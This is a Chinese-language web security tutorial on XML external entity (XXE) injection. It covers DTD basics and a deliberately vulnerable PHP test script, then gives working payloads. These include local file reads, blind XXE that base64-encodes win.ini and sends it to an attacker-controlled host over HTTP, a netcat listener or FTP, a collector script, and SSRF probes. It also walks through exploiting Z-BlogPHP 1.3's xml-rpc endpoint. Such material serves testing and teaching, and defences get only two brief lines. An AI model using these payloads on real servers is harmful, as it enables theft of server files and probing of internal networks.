首页 » Network_security » Penetration » 正文

一文熟悉XXE

0x00 概述

XXE(XML External Entity attack),即外部实体注入,攻击利用xml作为数据交换的功能点,较为少见,但是威力巨大。

 

0x01 危害

  • 任意文件读取,如/et/passwd
  • 命令执行(expect://id)
  • 内网端口探测
  • 攻击内网网站(struts2)
  • DOS(billion laughs)

 

0x02 前置知识

XML:
一种允许用户对自己的标记语言进行定义的源语言。

文档结构包括:

1.XML声明:

<?xml version=”1.0″?>

2.DTD文档类型定义(可选)

DTD 可以在 XML 文档内声明,也可以外部声明。

内部声明:

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

外部声明:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

很像css的内部样式和外部样式。

 

dtd实体用于定义引用普通文本或特殊字符的快捷方式的变量

分为一般实体和参数实体。

一般实体:<!ENTITY 实体名 “实体内容“>

&实体名

参数实体:<!ENTITY % 实体名 “实体内容“>

%实体名

 

内部实体声明:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;&copyright;</test>

外部实体声明:

<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

]>

<author>&writer;©right;</author>

3.文档元素

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don't forget the meeting!</body>

</note>

0x02 原理分析

有回显:

测试代码:

//测试代码来源

//www.mottoin.com/wp-content/uploads/2016/11/xxe.txt

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();

# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT:  XML   
# LIBXML_DTDLOAD:  DOCTYPE  DTD 
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo "You have logged in as user $user";
?>

Payload: 

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "file:///C://windows/win.ini" >]>


<creds>

<user>&xxe;</user>

</creds>

无回显(blind-xxe):

注释掉测试代码的echo即可。

这里利用两种方法获取win.ini的数据:

1.可控的远程主机写入数据:

Payload:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY % remote SYSTEM "http://192.168.43.173:8999/xxe.dtd"> %remote;]>

<foo/>
xxe.dtd:
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.43.173:8999/getxxeinfo.php?p=%payload;'>">

%int;

%trick;

注意这里实体值的%要html编码即&#37;

getxxeinfo.php:

<?php

file_put_contents('xxeinfo.txt', $_GET['p']);

?>

查看xxeinfo.txt:

2.可控远程主机日志记录:

Payload: 

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY % remote SYSTEM "http://192.168.43.237:80/file.dtd"> %remote;]>

</foo>

File.dtd:
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">

<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.43.237:80/?p=%payload;'>">

%int;

%trick;

查看日志:
192.168.43.173 – – [06/Apr/2018:01:03:08 +0800] “GET /?p=OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNQ0kgRXh0ZW5zaW9ucy5CQUtdDQozZzI9TVBFR1ZpZGVvDQozZ3A9TVBFR1ZpZGVvDQozZ3AyPU1QRUdWaWRlbw0KM2dwcD1NUEVHVmlkZW8NCmFhYz1NUEVHVmlkZW8NCmFkdD1NUEVHVmlkZW8NCmFkdHM9TVBFR1ZpZGVvDQptMnQ9TVBFR1ZpZGVvDQptMnRzPU1QRUdWaWRlbw0KbTJ2PU1QRUdWaWRlbw0KbTRhPU1QRUdWaWRlbw0KbTR2PU1QRUdWaWRlbw0KbW9kPU1QRUdWaWRlbw0KbW92PU1QRUdWaWRlbw0KbXA0PU1QRUdWaWRlbw0KbXA0dj1NUEVHVmlkZW8NCm10cz1NUEVHVmlkZW8NCnRzPU1QRUdWaWRlbw0KdHRzPU1QRUdWaWRlbw0KW1hMU2VydmljZVBsYXRmb3JtX1RwTG9hZGVyXQ0K HTTP/1.0” 302 – “-” “-”

除了http和file协议,还可以使用其他协议,如下图:

某些协议要安装对应模块,如下图:

XXE还可以形成ssrf,如请求内网另一台主机的文件,如以下payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE copyright[

<!ENTITY test SYSTEM "http://192.168.0.2/robots.txt">

]>

<reset>

<login>&test;</login>

<secret>login</secret>

</reset>

如果禁用了外部实体,还有doctype可以用来ssrf,如:

<?xml version="1.0"?>

<!DOCTYPE data SYSTEM "http://publicServer.com/" [

<!ELEMENT data (#ANY)>

]>

<data>4</data>

或

#!xml

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://internal/service?ssrf">

<roottag>not an entity attack!</roottag>

0x03 漏洞重现

利用Z-BlogPHP 1.3 Wonce Build 140614来实际重现xxe漏洞。

漏洞出现在:

zb_system/xml-rpc/index.php:635

$zbp->Load();

Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError',PLUGIN_EXITSIGNAL_RETURN);

$xmlstring = file_get_contents( 'php://input' );
//logs($xmlstring);
$xml = simplexml_load_string($xmlstring);

if($xml){
	$method=(string)$xml->methodName;

	switch ($method) {
case 'blogger.getUsersBlogs':
			$username=(string)$xml->params->param[1]->value->string;
			$password=(string)$xml->params->param[2]->value->string;
			if(!$zbp->Verify_Original($username,$password)){ShowError(8,__FILE__,__LINE__);}
			if($zbp->CheckRights('admin')){
				zbp_getUsersBlogs();
			}else{
				$zbp->ShowError(6,__FILE__,__LINE__);
			}
			break;
		case 'wp.getCategories':

直接simplexml_load_string,造成明显的xxe。

查看接下来的代码,貌似要经过身份验证才能回显信息,如果没有帐号密码就会showerror,这样就要利用blind-xxe了。

向zb_system/xml-rpc/index.php直接post payload:

Payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE foo [

<!ENTITY % remote SYSTEM "http://192.168.43.173:8999/xxe.dtd">

%remote;]>

<foo/>

Xxe.dtd和原理分析的内容一样

查看xxeinfo.txt:

成功获得win.ini数据!

 

还可以利用nc在可控远程主机监听数据:

xxe.dtd:

<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">

<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.43.237:1234/?p=%payload;'>">

%int;

%trick;

或者利用ftp协议:

xxe.dtd:
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">

<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://%payload;lsa@192.168.43.237:2121/'>">

%int;

%trick;

 

//利用脚本https//github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

Ps:发现一个有意思的现象,本人原想利用p神发现的zblog1.4(Z-BlogPHP 1.4 Deeplue Build 150101)xxe漏洞进行重现,但是发现该版本的代码加了

libxml_disable_entity_loader(true);

然而https://www.secpulse.com/archives/32838.html里却没加这行代码,并且$zbp->Load();都是对应的641行,真神奇……

 

0x04 防御方案

  • 禁用外部实体。
  • 过滤提交的xml数据。

 

0x05 如何寻找

查看接受xml内容的功能点,尝试修改content-type为xml,响应如果解析了xml则可能有xxe。

 

0x06 结语

XXE漏洞还是比较少见,但是危害却十分大,不可小觑。

相关工具:https://github.com/enjoiz/XXEinjector

更多payload参考:

https://xz.aliyun.com/t/2249

 

0x07 参考资料

https://blog.csdn.net/cristianojason/article/details/51000438

https://www.secpulse.com/archives/32838.html

www.mottoin.com/92794.html

https://www.cnblogs.com/r00tuser/p/7255939.html

www.freebuf.com/articles/web/126788.html

www.freebuf.com/articles/web/97833.html

www.w3school.com.cn/dtd/

https://xz.aliyun.com/t/2249

drops.xmd5.com/static/drops/tips-5290.html

https://www.anquanke.com/post/id/86075

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

 

 

Comment